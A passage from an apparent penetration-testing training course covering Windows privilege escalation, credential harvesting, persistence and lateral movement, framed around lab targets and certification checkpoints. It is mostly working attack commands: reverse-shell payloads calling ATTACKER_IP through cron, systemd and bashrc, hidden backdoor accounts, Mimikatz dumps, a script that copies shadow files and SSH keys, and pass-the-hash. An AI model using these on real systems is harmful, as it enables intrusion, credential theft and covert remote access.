icacls "C:\Program Files\Some Folder"
REM If writable, copy payload
copy evil.exe "C:\Program Files\Some.exe"
REM Restart service (if possible)
net stop ServiceName
net start ServiceName
Weak Service Permissions
REM Check service permissions with accesschk (Sysinternals)
accesschk.exe /accepteula -uwcqv "Authenticated Users" *
REM Look for SERVICE_CHANGE_CONFIG or SERVICE_ALL_ACCESS
REM If service is modifiable:
sc config VulnService binpath= "C:\Users\Public\evil.exe"
net stop VulnService
net start VulnService
3. Registry Misconfigurations
AlwaysInstallElevated
REM Check if enabled
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
REM If both return 0x1, generate MSI payload
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<ip> LPORT=<port> -f msi -o evil.msi
REM Install (runs as SYSTEM)
msiexec /quiet /qn /i evil.msi
AutoRun Programs
REM Check AutoRun locations
reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
reg query HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
REM Check if AutoRun executable is writable
icacls "C:\Path\to\autorun.exe"
REM Replace with payload if writable
4. Token Impersonation
If you have SeImpersonatePrivilege or SeAssignPrimaryTokenPrivilege:
REM Check privileges
whoami /priv
REM If SeImpersonatePrivilege is enabled, use Potato exploits
JuicyPotato (Windows 7-10, Server 2008-2016):
.\JuicyPotato.exe -l 1337 -p c:\windows\system32\cmd.exe -a "/c whoami > C:\Users\Public\test.txt" -t *
PrintSpoofer (Windows 10, Server 2016/2019):
.\PrintSpoofer.exe -i -c cmd
GodPotato (Windows 8+):
.\GodPotato.exe -cmd "cmd /c whoami"
5. Stored Credentials
REM List stored credentials
cmdkey /list
REM If credentials are stored, use runas
runas /savecred /user:Administrator cmd.exe
REM Check for credentials in common locations
findstr /si password *.txt *.xml *.config *.ini
REM Registry stored passwords
reg query HKLM /f password /t REG_SZ /s
reg query HKCU /f password /t REG_SZ /s
REM Unattend.xml files
dir /s *unattend.xml *sysprep.xml *unattended.xml
6. SAM and SYSTEM Files
REM Check if SAM backup exists
dir C:\Windows\Repair\SAM
dir C:\Windows\System32\config\RegBack\SAM
REM Copy if accessible
copy C:\Windows\Repair\SAM C:\Users\Public\SAM
copy C:\Windows\Repair\SYSTEM C:\Users\Public\SYSTEM
REM Extract hashes on attacker machine
secretsdump.py -sam SAM -system SYSTEM LOCAL
7. PowerShell History
# Check PowerShell history
type $env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
# Or
Get-Content (Get-PSReadlineOption).HistorySavePath
Windows Privilege Escalation Script
# windows_privesc_check.ps1 - Quick privilege escalation checks
Write-Host "=== Windows Privilege Escalation Checks ===" -ForegroundColor Cyan
Write-Host ""
# Current user info
Write-Host "[*] Current User and Privileges" -ForegroundColor Yellow
whoami /all
Write-Host ""
# System info
Write-Host "[*] System Information" -ForegroundColor Yellow
systeminfo | Select-String "OS Name|OS Version|System Type|Hotfix"
Write-Host ""
# Unquoted service paths
Write-Host "[*] Unquoted Service Paths" -ForegroundColor Yellow
Get-WmiObject win32_service |
Where-Object {$_.PathName -notmatch '^"' -and $_.PathName -match ' ' -and $_.PathName -notmatch 'Windows'} |
Select-Object Name, PathName
Write-Host ""
# AlwaysInstallElevated
Write-Host "[*] AlwaysInstallElevated Check" -ForegroundColor Yellow
$HKLM = Get-ItemProperty 'HKLM:\SOFTWARE\Policies\Microsoft\Windows\Installer' -Name AlwaysInstallElevated -ErrorAction SilentlyContinue
$HKCU = Get-ItemProperty 'HKCU:\SOFTWARE\Policies\Microsoft\Windows\Installer' -Name AlwaysInstallElevated -ErrorAction SilentlyContinue
if ($HKLM.AlwaysInstallElevated -eq 1 -and $HKCU.AlwaysInstallElevated -eq 1) {
Write-Host " VULNERABLE! AlwaysInstallElevated is enabled" -ForegroundColor Red
} else {
Write-Host " Not vulnerable"
}
Write-Host ""
# Stored credentials
Write-Host "[*] Stored Credentials" -ForegroundColor Yellow
cmdkey /list
Write-Host ""
# AutoRuns
Write-Host "[*] AutoRun Programs" -ForegroundColor Yellow
Get-ItemProperty 'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run' -ErrorAction SilentlyContinue
Get-ItemProperty 'HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run' -ErrorAction SilentlyContinue
Write-Host ""
# Token privileges
Write-Host "[*] Impersonation Privileges" -ForegroundColor Yellow
$privs = whoami /priv
if ($privs -match "SeImpersonatePrivilege.*Enabled") {
Write-Host " SeImpersonatePrivilege ENABLED - Potato attacks possible!" -ForegroundColor Red
}
if ($privs -match "SeAssignPrimaryTokenPrivilege.*Enabled") {
Write-Host " SeAssignPrimaryTokenPrivilege ENABLED!" -ForegroundColor Red
}
Write-Host ""
# PowerShell history
Write-Host "[*] PowerShell History" -ForegroundColor Yellow
$histPath = (Get-PSReadlineOption).HistorySavePath
if (Test-Path $histPath) {
Write-Host " History file exists: $histPath"
Write-Host " Recent commands:"
Get-Content $histPath | Select-Object -Last 20
}
Write-Host ""
# Scheduled tasks with writable paths
Write-Host "[*] Checking scheduled tasks..." -ForegroundColor Yellow
Get-ScheduledTask | Where-Object {$_.State -ne "Disabled"} |
ForEach-Object {
$action = $_.Actions.Execute
if ($action -and (Test-Path $action -ErrorAction SilentlyContinue)) {
$acl = Get-Acl $action -ErrorAction SilentlyContinue
Write-Host " Task: $($_.TaskName) -> $action"
}
}
Write-Host ""
Write-Host "=== Check complete ===" -ForegroundColor Green
Meterpreter Privilege Escalation
# From Meterpreter session
# Quick check
meterpreter > getsystem
# Tries multiple techniques automatically
# If getsystem fails, use local exploit suggester
meterpreter > background
msf6 > use post/multi/recon/local_exploit_suggester
msf6 post(multi/recon/local_exploit_suggester) > set SESSION 1
msf6 post(multi/recon/local_exploit_suggester) > run
# Try suggested exploits
msf6 > use exploit/windows/local/ms16_032_secondary_logon_handle_privesc
msf6 exploit(...) > set SESSION 1
msf6 exploit(...) > run
# Token impersonation
meterpreter > load incognito
meterpreter > list_tokens -u
meterpreter > impersonate_token "NT AUTHORITY\SYSTEM"
Milestone 4 Checkpoint
Before proceeding, verify:
- [ ] You understand Windows privilege escalation methodology
- [ ] You can check for unquoted service paths
- [ ] You understand token impersonation
- [ ] You know about AlwaysInstallElevated
- [ ] You can use getsystem and local exploit suggester
- [ ] You have created windows_privesc_check.ps1
[CERT CHECKPOINT - PenTest+ 3.5 / CEH / OSCP]: Windows privesc is critical.
Part 5 — Credential Harvesting (Milestone 5)
Linux Credential Harvesting
Password Files
# /etc/shadow (requires root)
cat /etc/shadow
# Format: username:hash:lastchange:min:max:warn:inactive:expire
# Hash types:
# $1$ = MD5
# $5$ = SHA-256
# $6$ = SHA-512
# $y$ = yescrypt
# Crack with john or hashcat
john --wordlist=/usr/share/wordlists/rockyou.txt shadow_hashes.txt
hashcat -m 1800 shadow_hashes.txt wordlist.txt # SHA-512
SSH Keys
# Find SSH keys
find / -name "id_rsa" 2>/dev/null
find / -name "id_dsa" 2>/dev/null
find / -name "id_ecdsa" 2>/dev/null
find / -name "id_ed25519" 2>/dev/null
# Find authorized_keys
find / -name "authorized_keys" 2>/dev/null
# Copy keys for lateral movement
cat /home/*/.ssh/id_rsa
History Files
# Bash history
cat ~/.bash_history
cat /home/*/.bash_history
# MySQL history
cat ~/.mysql_history
# Look for credentials in history
grep -i password ~/.bash_history
grep -i pass ~/.bash_history
Configuration Files
# Web application configs
cat /var/www/html/wp-config.php # WordPress
cat /var/www/html/config.php # Various apps
find /var/www -name "*.config" -o -name "*.conf" | xargs grep -l password
# Database configs
cat /etc/mysql/my.cnf
cat /etc/postgresql/*/main/pg_hba.conf
# Application configs
find /opt -name "*.conf" -o -name "*.config" -o -name "*.ini" 2>/dev/null
Windows Credential Harvesting
SAM Database
REM From elevated prompt
reg save HKLM\SAM C:\Users\Public\SAM
reg save HKLM\SYSTEM C:\Users\Public\SYSTEM
reg save HKLM\SECURITY C:\Users\Public\SECURITY
REM Transfer to attacker and extract
secretsdump.py -sam SAM -system SYSTEM -security SECURITY LOCAL
Mimikatz
# Download and run Mimikatz
.\mimikatz.exe
# Dump logon passwords
mimikatz # privilege::debug
mimikatz # sekurlsa::logonpasswords
# Dump SAM
mimikatz # lsadump::sam
# Dump secrets
mimikatz # lsadump::secrets
# Export tickets
mimikatz # sekurlsa::tickets /export
Meterpreter Credential Harvesting
# Load Kiwi (Mimikatz extension)
meterpreter > load kiwi
# Dump all credentials
meterpreter > creds_all
# Dump password hashes
meterpreter > hashdump
# Dump Kerberos tickets
meterpreter > kerberos_ticket_list
meterpreter > kerberos_ticket_use
# Dump LSA secrets
meterpreter > lsa_dump_sam
meterpreter > lsa_dump_secrets
Windows Credential Manager
# List saved credentials
cmdkey /list
# PowerShell - extract vault credentials
[Windows.Security.Credentials.PasswordVault,Windows.Security.Credentials,ContentType=WindowsRuntime]
$vault = New-Object Windows.Security.Credentials.PasswordVault
$vault.RetrieveAll() | ForEach-Object {
$_.RetrievePassword()
$_
}
Browser Credentials
# Chrome passwords (need decryption key)
$localAppData = [Environment]::GetFolderPath('LocalApplicationData')
$chromePath = "$localAppData\Google\Chrome\User Data\Default\Login Data"
# Firefox passwords
$firefoxPath = "$env:APPDATA\Mozilla\Firefox\Profiles"
# Look for logins.json and key4.db
Credential Harvesting Script
#!/bin/bash
# linux_cred_harvest.sh - Linux credential harvesting
OUTPUT_DIR="${1:-/tmp/creds_$(date +%Y%m%d_%H%M%S)}"
mkdir -p "$OUTPUT_DIR"
echo "=== Linux Credential Harvesting ==="
echo "Output: $OUTPUT_DIR"
echo ""
# Shadow file
echo "[*] Checking /etc/shadow..."
if [ -r /etc/shadow ]; then
cp /etc/shadow "$OUTPUT_DIR/shadow"
echo " Copied /etc/shadow"
else
echo " /etc/shadow not readable"
fi
# SSH keys
echo "[*] Finding SSH keys..."
find /home -name "id_*" -type f 2>/dev/null | while read key; do
if [ -r "$key" ]; then
echo " Found: $key"
cp "$key" "$OUTPUT_DIR/$(basename $key)_$(dirname $key | tr '/' '_')"
fi
done
find /root -name "id_*" -type f 2>/dev/null | while read key; do
if [ -r "$key" ]; then
echo " Found: $key"
cp "$key" "$OUTPUT_DIR/$(basename $key)_root"
fi
done
# History files
echo "[*] Collecting history files..."
for hist in ~/.bash_history /home/*/.bash_history /root/.bash_history; do
if [ -r "$hist" ]; then
echo " Found: $hist"
cat "$hist" >> "$OUTPUT_DIR/all_history.txt"
fi
done
# Search for passwords in files
echo "[*] Searching for password references..."
{
grep -r "password" /var/www 2>/dev/null | head -50
grep -r "password" /opt 2>/dev/null | head -50
grep -r "pass" /etc 2>/dev/null | grep -v "passwd" | head -50
} > "$OUTPUT_DIR/password_references.txt"
# Config files
echo "[*] Collecting config files..."
for config in /var/www/html/wp-config.php /var/www/html/config.php /etc/mysql/my.cnf; do
if [ -r "$config" ]; then
echo " Found: $config"
cp "$config" "$OUTPUT_DIR/$(basename $config)"
fi
done
echo ""
echo "=== Harvesting Complete ==="
ls -la "$OUTPUT_DIR"
Cracking Harvested Hashes
# Identify hash type
hash-identifier
# Or use hashcat example hashes
# https://hashcat.net/wiki/doku.php?id=example_hashes
# John the Ripper
john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt
john --show hashes.txt
# Hashcat
# MD5: -m 0
# SHA1: -m 100
# SHA256: -m 1400
# SHA512: -m 1800
# NTLM: -m 1000
# NetNTLMv2: -m 5600
hashcat -m 1000 -a 0 hashes.txt /usr/share/wordlists/rockyou.txt
hashcat -m 1000 -a 0 hashes.txt /usr/share/wordlists/rockyou.txt --show
Pass-the-Hash
# Using harvested NTLM hash instead of password
# With pth-winexe
pth-winexe -U administrator%aad3b435b51404eeaad3b435b51404ee:hash //192.168.1.1 cmd.exe
# With psexec (Impacket)
psexec.py -hashes aad3b435b51404eeaad3b435b51404ee:hash administrator@192.168.1.1
# With evil-winrm
evil-winrm -i 192.168.1.1 -u administrator -H hash
# With CrackMapExec
crackmapexec smb 192.168.1.0/24 -u administrator -H hash
Milestone 5 Checkpoint
Before proceeding, verify:
- [ ] You can harvest Linux credentials
- [ ] You can use Mimikatz/Kiwi for Windows
- [ ] You can extract password hashes
- [ ] You understand pass-the-hash
- [ ] You can crack common hash types
- [ ] You have created linux_cred_harvest.sh
[CERT CHECKPOINT - PenTest+ 4.2 / CEH]: Credential harvesting is essential.
Part 6 — Persistence Mechanisms (Milestone 6)
⚠️ Important Note on Persistence
Persistence mechanisms should only be used:
- With explicit authorization
- When part of the agreed scope
- With documentation requirements in place
Always document any persistence mechanisms you create for removal during cleanup.
Linux Persistence
SSH Key Backdoor
# Add your SSH key to target
mkdir -p ~/.ssh
echo "ssh-rsa AAAA... attacker@kali" >> ~/.ssh/authorized_keys
chmod 700 ~/.ssh
chmod 600 ~/.ssh/authorized_keys
# Or add to root
echo "ssh-rsa AAAA..." >> /root/.ssh/authorized_keys
Cron Persistence
# Add reverse shell cron job
(crontab -l 2>/dev/null; echo "* * * * * /bin/bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'") | crontab -
# Or in /etc/crontab (requires root)
echo "* * * * * root /tmp/shell.sh" >> /etc/crontab
Backdoor User
# Add user with root privileges
useradd -o -u 0 -g 0 -M -d /root -s /bin/bash backdoor
echo "backdoor:password123" | chpasswd
# Or directly to /etc/passwd
echo 'backdoor:$1$xyz$hash:0:0::/root:/bin/bash' >> /etc/passwd
Systemd Service
# Create malicious service
cat << 'EOF' > /etc/systemd/system/backdoor.service
[Unit]
Description=System Service
After=network.target
[Service]
Type=simple
ExecStart=/bin/bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'
Restart=always
RestartSec=60
[Install]
WantedBy=multi-user.target
EOF
systemctl daemon-reload
systemctl enable backdoor.service
systemctl start backdoor.service
Bashrc/Profile
# Add to user's bashrc
echo '/bin/bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1 &' >> ~/.bashrc
# Add to system profile
echo '/bin/bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1 &' >> /etc/profile
Windows Persistence
Registry Run Keys
REM Add to current user Run key
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v Backdoor /t REG_SZ /d "C:\Users\Public\shell.exe"
REM Add to all users Run key (requires admin)
reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v Backdoor /t REG_SZ /d "C:\Windows\Temp\shell.exe"
Scheduled Task
REM Create scheduled task
schtasks /create /tn "SystemUpdate" /tr "C:\Users\Public\shell.exe" /sc onlogon /ru SYSTEM
REM Or to run every minute
schtasks /create /tn "SystemUpdate" /tr "C:\Users\Public\shell.exe" /sc minute /mo 1 /ru SYSTEM
New User
REM Create hidden admin user
net user backdoor Password123! /add
net localgroup administrators backdoor /add
REM Hide from login screen (requires admin)
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /v backdoor /t REG_DWORD /d 0
WMI Persistence
# Create WMI subscription (runs on system startup)
$filterName = "SystemFilter"
$consumerName = "SystemConsumer"
$command = "C:\Users\Public\shell.exe"
$WMIEventFilter = Set-WMIInstance -Class __EventFilter -Namespace "root\subscription" -Arguments @{
Name = $filterName
EventNamespace = 'root\cimv2'
QueryLanguage = "WQL"
Query = "SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'"
}
$WMIEventConsumer = Set-WMIInstance -Class CommandLineEventConsumer -Namespace "root\subscription" -Arguments @{
Name = $consumerName
CommandLineTemplate = $command
}
Set-WMIInstance -Class __FilterToConsumerBinding -Namespace "root\subscription" -Arguments @{
Filter = $WMIEventFilter
Consumer = $WMIEventConsumer
}
Metasploit Persistence
# Meterpreter persistence module
meterpreter > run persistence -h
# Add persistence (runs on startup)
meterpreter > run persistence -U -i 5 -p 4444 -r ATTACKER_IP
# Options:
# -U = Run when user logs on
# -X = Run when system starts (requires SYSTEM)
# -i = Interval to reconnect
# -p = Port for connection
# -r = IP to connect back to
Persistence Documentation Template
cat << 'EOF' > ~/templates/persistence_log.md
# Persistence Mechanism Log
## Engagement Details
- **Target:** [IP/hostname]
- **Date Created:** [Date]
- **Tester:** [Name]
- **Authorization:** [Reference]
---
## Persistence Mechanism 1
### Type
[SSH Key / Cron / Service / User / Registry / Scheduled Task]
### Location
[Full path or registry key]
### Details
[Exact command or content added]
### Removal Command
[Command to remove this persistence]
### Verified Removal
- [ ] Confirmed removed on [Date]
---
## Cleanup Checklist
- [ ] All SSH keys removed
- [ ] All cron jobs removed
- [ ] All services removed
- [ ] All backdoor users removed
- [ ] All registry entries removed
- [ ] All scheduled tasks removed
- [ ] System rebooted and verified clean
EOF
echo "Created: ~/templates/persistence_log.md"
Milestone 6 Checkpoint
Before proceeding, verify:
- [ ] You understand various persistence mechanisms
- [ ] You know Linux persistence techniques
- [ ] You know Windows persistence techniques
- [ ] You understand the importance of documentation
- [ ] You have created persistence_log.md template
[CERT CHECKPOINT - PenTest+ 4.3]: Understanding persistence is critical.
Part 7 — Lateral Movement (Milestone 7)
Lateral Movement Concepts
┌─────────────────────────────────────────────────────────────────┐
│ Lateral Movement Overview │
├─────────────────────────────────────────────────────────────────┤
│ │
│ USING CREDENTIALS │
│ ├── Password authentication │
│ ├── Pass-the-Hash (PtH) │
│ ├── Pass-the-Ticket (PtT) │
│ └── SSH keys │
│ │
│ EXPLOITING TRUST │
│ ├── Domain trusts │
│ ├── SSH trust relationships │
│ └── Database links │
│ │
│ REMOTE EXECUTION │
│ ├── PSExec / SMBExec │
│ ├── WMI Execution │
│ ├── WinRM │
│ ├── SSH │
│ └── RDP │
│ │
│ PIVOTING │
│ ├── Port forwarding │
│ ├── SSH tunneling │
│ ├── SOCKS proxying │
│ └── Meterpreter routing │
│ │
└─────────────────────────────────────────────────────────────────┘
Remote Execution Tools
PSExec (Impacket)
# With password
psexec.py domain/user:password@192.168.1.1
# With hash (pass-the-hash)
psexec.py -hashes aad3b435b51404eeaad3b435b51404ee:hash domain/user@192.168.1.1
# Execute specific command
psexec.py user:pass@192.168.1.1 "whoami"
WMI Execution
# Impacket wmiexec
wmiexec.py domain/user:password@192.168.1.1
# With hash
wmiexec.py -hashes :hash domain/user@192.168.1.1
WinRM
# Evil-WinRM
evil-winrm -i 192.168.1.1 -u user -p password
# With hash
evil-winrm -i 192.168.1.1 -u user -H hash
CrackMapExec
# Check credentials across network
crackmapexec smb 192.168.1.0/24 -u user -p password
# Execute command
crackmapexec smb 192.168.1.1 -u user -p password -x "whoami"
# Pass-the-hash
crackmapexec smb 192.168.1.0/24 -u user -H hash
# Dump SAM
crackmapexec smb 192.168.1.1 -u user -p password --sam
Pivoting with Metasploit
# Add route through compromised host
meterpreter > run autoroute -s 10.10.10.0/24
# Or manually
msf6 > route add 10.10.10.0/24 1 # 1 = session ID
# Verify routes
msf6 > route print
# Now scan internal network through pivot
msf6 > use auxiliary/scanner/portscan/tcp
msf6 auxiliary(scanner/portscan/tcp) > set RHOSTS 10.10.10.0/24
msf6 auxiliary(scanner/portscan/tcp) > set PORTS 22,80,445
msf6 auxiliary(scanner/portscan/tcp) > run
SSH Tunneling
# Local port forward
# Access target:80 via localhost:8080
ssh -L 8080:target:80 user@pivot
# Dynamic SOCKS proxy
ssh -D 9050 user@pivot
# Then use proxychains with localhost:9050
# Remote port forward
# Allow pivot to reach attacker:4444
ssh -R 4444:localhost:4444 user@pivot
Proxychains
# Configure proxychains
# Edit /etc/proxychains4.conf
# Add: socks4 127.0.0.1 9050
# Set up SOCKS proxy (via SSH or Meterpreter)
ssh -D 9050 user@pivot
# Or in Meterpreter
meterpreter > run autoroute -s 10.10.10.0/24
meterpreter > background
msf6 > use auxiliary/server/socks_proxy
msf6 auxiliary(server/socks_proxy) > set SRVPORT 9050
msf6 auxiliary(server/socks_proxy) > run -j
# Use tools through proxy
proxychains nmap -sT -p22,80,445 10.10.10.1
proxychains curl http://10.10.10.1
Port Forwarding with Chisel
# On attacker (server)
./chisel server --reverse --port 8080
# On target (client) - reverse SOCKS proxy
./chisel client ATTACKER:8080 R:socks
# Now proxychains uses localhost:1080
# Specific port forward
./chisel client ATTACKER:8080 R:3389:internal_host:3389
Lateral Movement Reference
cat << 'EOF' > ~/notes/lateral_movement.md
# Lateral Movement Cheat Sheet
## Credential-Based Movement
### PSExec (Impacket)
psexec.py domain/user:password@target
psexec.py -hashes :NTLM_HASH domain/user@target
### WMIExec
wmiexec.py domain/user:password@target
wmiexec.py -hashes :NTLM_HASH domain/user@target
### WinRM
evil-winrm -i target -u user -p password
evil-winrm -i target -u user -H hash
### SSH
ssh user@target
ssh -i id_rsa user@target
## Pivoting
### Metasploit Routing
meterpreter > run autoroute -s 10.10.10.0/24
msf6 > route print
### SSH Tunneling
Local forward
ssh -L localport:internal:port user@pivot
Dynamic SOCKS
ssh -D 9050 user@pivot
proxychains
### Chisel
Server (attacker)
./chisel server --reverse --port 8080
Client (target)
./chisel client ATTACKER:8080 R:socks
## Tools
### CrackMapExec
crackmapexec smb 192.168.1.0/24 -u user -p password
crackmapexec smb target -u user -p password -x "command"
### Proxychains
Edit /etc/proxychains4.conf
proxychains nmap -sT -p- target
EOF
echo "Created: ~/notes/lateral_movement.md"
Milestone 7 Checkpoint
Before proceeding, verify:
- [ ] You understand lateral movement concepts
- [ ] You can use remote execution tools
- [ ] You understand pivoting concepts
- [ ] You can set up SSH tunnels
- [ ] You can use proxychains
- [ ] You have created lateral_movement.md
[CERT CHECKPOINT - PenTest+ 4.4 / CEH]: Lateral movement is advanced but important.
Stage 08 Assessment
Written Assessment
Answer these questions in ~/notes/stage08_assessment.txt:
- What are the main objectives of post-exploitation?
- Describe three Linux privilege escalation techniques.
- What is the difference between horizontal and vertical privilege escalation?
- Explain how SUID binaries can be exploited for privilege escalation.
- What is Mimikatz and what credentials can it extract?
- Describe pass-the-hash and when it's useful.
- What is an unquoted service path vulnerability?
- Name three persistence mechanisms for Linux and three for Windows.
- What is pivoting and why is it important in penetration testing?
- Why is documentation critical during post-exploitation?
Practical Assessment
Complete these tasks on your lab environment:
- Linux Enumeration and Privilege Escalation:
- Run linux_enum.sh on Metasploitable
- Identify at least 3 potential privilege escalation vectors
- Successfully escalate to root using two different methods
- Document your findings
- Windows Enumeration:
- Run enumeration on a Windows target
- Identify privilege escalation vectors
- Document potential attack paths
- Credential Harvesting:
- Extract password hashes from a Linux system
- Crack at least one hash
- Document credentials found
- Pivoting Exercise:
- Set up a pivot through a compromised host
- Scan an internal network through the pivot
- Document the process
- Documentation:
- Create a complete post-exploitation log
- Document all activities performed
- Include cleanup procedures
Stage 08 Completion Checklist
Post-Exploitation Concepts
- [ ] Understand post-exploitation objectives
- [ ] Know the post-exploitation workflow
- [ ] Understand key terminology
System Enumeration
- [ ] Created linux_enum.sh
- [ ] Know how to use LinPEAS/LinEnum
- [ ] Created windows_enum.ps1 equivalent
- [ ] Know how to use WinPEAS
Linux Privilege Escalation
- [ ] Understand privesc methodology
- [ ] Can exploit sudo misconfigurations
- [ ] Can exploit SUID binaries
- [ ] Understand cron exploitation
- [ ] Created linux_privesc_check.sh
Windows Privilege Escalation
- [ ] Understand Windows privesc methodology
- [ ] Can identify unquoted service paths
- [ ] Understand token impersonation
- [ ] Know about AlwaysInstallElevated
- [ ] Created windows_privesc_check.ps1
Credential Harvesting
- [ ] Can harvest Linux credentials
- [ ] Can use Mimikatz/Kiwi
- [ ] Understand pass-the-hash
- [ ] Can crack common hashes
- [ ] Created linux_cred_harvest.sh
Persistence
- [ ] Know Linux persistence mechanisms
- [ ] Know Windows persistence mechanisms
- [ ] Understand documentation requirements
- [ ] Created persistence_log.md template
Lateral Movement
- [ ] Know remote execution tools
- [ ] Can set up pivots
- [ ] Understand SSH tunneling
- [ ] Can use proxychains
- [ ] Created lateral_movement.md
Assessment
- [ ] Written assessment completed
- [ ] Practical assessment completed
- [ ] All activities documented
Git Workflow
- [ ] Stage 08 committed
- [ ] Stage 08 pushed
Definition of Done
Stage 08 is complete when:
- All checklist items are checked
- All scripts and templates are created
- Linux and Windows privilege escalation demonstrated
- Credential harvesting performed
- Lateral movement concepts understood
- Assessment is complete
- Work is committed and pushed
What's Next: Stage 09 Preview
In Stage 09 — Reporting and Professional Practice, you will:
- Write professional penetration test reports
- Document findings effectively
- Communicate with stakeholders
- Provide remediation guidance
- Understand legal and ethical considerations
- Prepare for certifications
- Build your professional toolkit
The final stage brings everything together for professional practice!
Supplementary Resources
Tools Reference
- GTFOBins: gtfobins.github.io (Linux privesc)
- LOLBAS: lolbas-project.github.io (Windows living off the land)
- PayloadsAllTheThings: Comprehensive technique reference
- HackTricks: book.hacktricks.xyz (Detailed techniques)
Practice Platforms
- VulnHub: Practice privilege escalation
- HackTheBox: Realistic scenarios
- TryHackMe: Guided learning paths
- OffSec Proving Grounds: OSCP preparation
Reading
- The Hacker Playbook 3
- Privilege Escalation Techniques (Packt)
- Red Team Field Manual (RTFM)
Commit your work and proceed to Stage 09 when ready:
cd ~/path-to-repo
git add .
git commit -m "Complete Stage 08 - Post-Exploitation and Privilege Escalation"
git push